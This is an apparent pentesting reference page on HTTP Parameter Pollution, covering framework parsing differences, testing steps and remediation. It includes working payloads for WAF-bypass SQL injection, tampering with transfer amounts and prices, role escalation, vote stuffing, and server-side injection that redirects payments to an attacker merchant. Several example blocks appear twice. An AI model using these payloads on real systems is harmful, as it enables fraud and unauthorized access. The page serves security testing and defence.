HTTP Parameter Pollution
HTTP Parameter Pollution (HPP) exploits differences in how web servers, application frameworks, and WAFs handle duplicate HTTP parameters. By supplying the same parameter multiple times, attackers can bypass security controls, manipulate application logic, and evade WAF detection.
Warning
How Frameworks Handle Duplicate Parameters
PHP/Apache: Uses LAST occurrence — ?id=1&id=2 → id=2
ASP.NET/IIS: Concatenates with comma — ?id=1&id=2 → id=1,2
Python (Flask): Uses FIRST occurrence — ?id=1&id=2 → id=1
Python (Django): Uses LAST occurrence — ?id=1&id=2 → id=2
Node.js (Express): Creates array — ?id=1&id=2 → id=[1,2]
Java (Tomcat): Uses FIRST occurrence — ?id=1&id=2 → id=1
Ruby (Rails): Uses LAST occurrence — ?id=1&id=2 → id=2
Go (net/http): Uses FIRST occurrence — ?id=1&id=2 → id=1
Tip
WAF Bypass via HPP
# Scenario: WAF blocks SQL injection in the 'id' parameter
# WAF checks FIRST parameter, PHP app uses LAST
# Blocked by WAF:
GET /page?id=1' OR 1=1--
# Bypass with HPP:
GET /page?id=1&id=1' OR 1=1--
# WAF sees id=1 (safe) → passes
# PHP sees id=1' OR 1=1-- (malicious) → SQL injection
# Another example with POST:
POST /transfer
Content-Type: application/x-www-form-urlencoded
amount=100&to=attacker&amount=999999
# WAF validates amount=100 (under limit)
# App processes amount=999999 (over limit)
# ASP.NET concatenation abuse:
GET /search?q=safe&q=' OR 1=1--
# ASP.NET sees: q=safe,' OR 1=1--
# The concatenated value bypasses simple pattern matching# Scenario: WAF blocks SQL injection in the 'id' parameter
# WAF checks FIRST parameter, PHP app uses LAST
# Blocked by WAF:
GET /page?id=1' OR 1=1--
# Bypass with HPP:
GET /page?id=1&id=1' OR 1=1--
# WAF sees id=1 (safe) → passes
# PHP sees id=1' OR 1=1-- (malicious) → SQL injection
# Another example with POST:
POST /transfer
Content-Type: application/x-www-form-urlencoded
amount=100&to=attacker&amount=999999
# WAF validates amount=100 (under limit)
# App processes amount=999999 (over limit)
# ASP.NET concatenation abuse:
GET /search?q=safe&q=' OR 1=1--
# ASP.NET sees: q=safe,' OR 1=1--
# The concatenated value bypasses simple pattern matchingBusiness Logic Bypass
# Override authorization checks:
POST /transfer
from_account=12345&to_account=67890&from_account=99999
# If app uses last value: transfers from account 99999
# even though the user only owns account 12345
# Price manipulation:
POST /checkout
price=100&item=widget&price=1
# App charges $1 instead of $100
# Access control bypass:
GET /api/users?role=user&role=admin
# If the app creates an array: role=[user, admin]
# Authorization check may see 'user' but grant 'admin' access
# Vote/rating manipulation:
POST /vote
post_id=123&vote=1&vote=1&vote=1&vote=1&vote=1
# Some apps count each parameter as a separate vote# Override authorization checks:
POST /transfer
from_account=12345&to_account=67890&from_account=99999
# If app uses last value: transfers from account 99999
# even though the user only owns account 12345
# Price manipulation:
POST /checkout
price=100&item=widget&price=1
# App charges $1 instead of $100
# Access control bypass:
GET /api/users?role=user&role=admin
# If the app creates an array: role=[user, admin]
# Authorization check may see 'user' but grant 'admin' access
# Vote/rating manipulation:
POST /vote
post_id=123&vote=1&vote=1&vote=1&vote=1&vote=1
# Some apps count each parameter as a separate voteServer-Side HPP
# When the application constructs URLs server-side using user input:
# Application code (vulnerable):
# url = "https://api.payment.com/charge?" +
# "amount=" + user_amount +
# "&merchant=trusted_merchant"
# Attack: Include & in the amount parameter:
# user_amount = "1&merchant=attacker_merchant"
# Resulting URL:
# https://api.payment.com/charge?amount=1&merchant=attacker_merchant&merchant=trusted_merchant
# If the payment API uses the FIRST merchant parameter,
# the payment goes to the attacker
# Social media sharing HPP:
# Application builds share URL:
# https://social.com/share?url=USER_INPUT&title=Site+Title
#
# Attack: url=attacker.com&title=Click+Me&url=attacker.com
# Overrides the title with attacker-controlled content# When the application constructs URLs server-side using user input:
# Application code (vulnerable):
# url = "https://api.payment.com/charge?" +
# "amount=" + user_amount +
# "&merchant=trusted_merchant"
# Attack: Include & in the amount parameter:
# user_amount = "1&merchant=attacker_merchant"
# Resulting URL:
# https://api.payment.com/charge?amount=1&merchant=attacker_merchant&merchant=trusted_merchant
# If the payment API uses the FIRST merchant parameter,
# the payment goes to the attacker
# Social media sharing HPP:
# Application builds share URL:
# https://social.com/share?url=USER_INPUT&title=Site+Title
#
# Attack: url=attacker.com&title=Click+Me&url=attacker.com
# Overrides the title with attacker-controlled contentTesting Methodology
- 1. Identify the backend technology (PHP, ASP.NET, Flask, Express, etc.)
- 2. Test duplicate parameters — which value does the app use? (first, last, array, concatenated)
- 3. Test WAF bypass by splitting injection payloads across duplicate params
- 4. Test business logic with conflicting duplicate parameter values
- 5. Test server-side HPP by including & in parameter values
- 6. Test both GET and POST parameters (may behave differently)
- 7. Test JSON body with duplicate keys:
{"id":1,"id":2}
Evidence Collection
Request: HTTP request with duplicate parameters
Response Comparison: Show different behavior with single vs duplicate params
CVSS Range: WAF bypass: depends on underlying vuln | Logic bypass: 5.3–8.6
Remediation
- Reject duplicate parameters: If the application expects a single value, reject requests with duplicates.
- Consistent parsing: Ensure WAF and application use the same parameter parsing logic.
- Validate on the server: Validate and sanitize all parameters after the framework parses them.
- URL-encode user input: When constructing URLs server-side, URL-encode all user values to prevent & injection.
False Positive Identification
- Duplicate param handling by design: Some applications intentionally accept arrays via duplicate parameters (e.g., ?tag=js&tag=python) — verify the duplicate changes behavior maliciously, not just handled normally.
- Server vs. framework behavior: Different servers handle duplicate params differently (first wins vs. last wins vs. array) — check the specific tech stack's documented behavior.
- WAF bypass without backend impact: Successfully bypassing the WAF via HPP is only relevant if the backend actually processes the polluted parameter in a harmful way.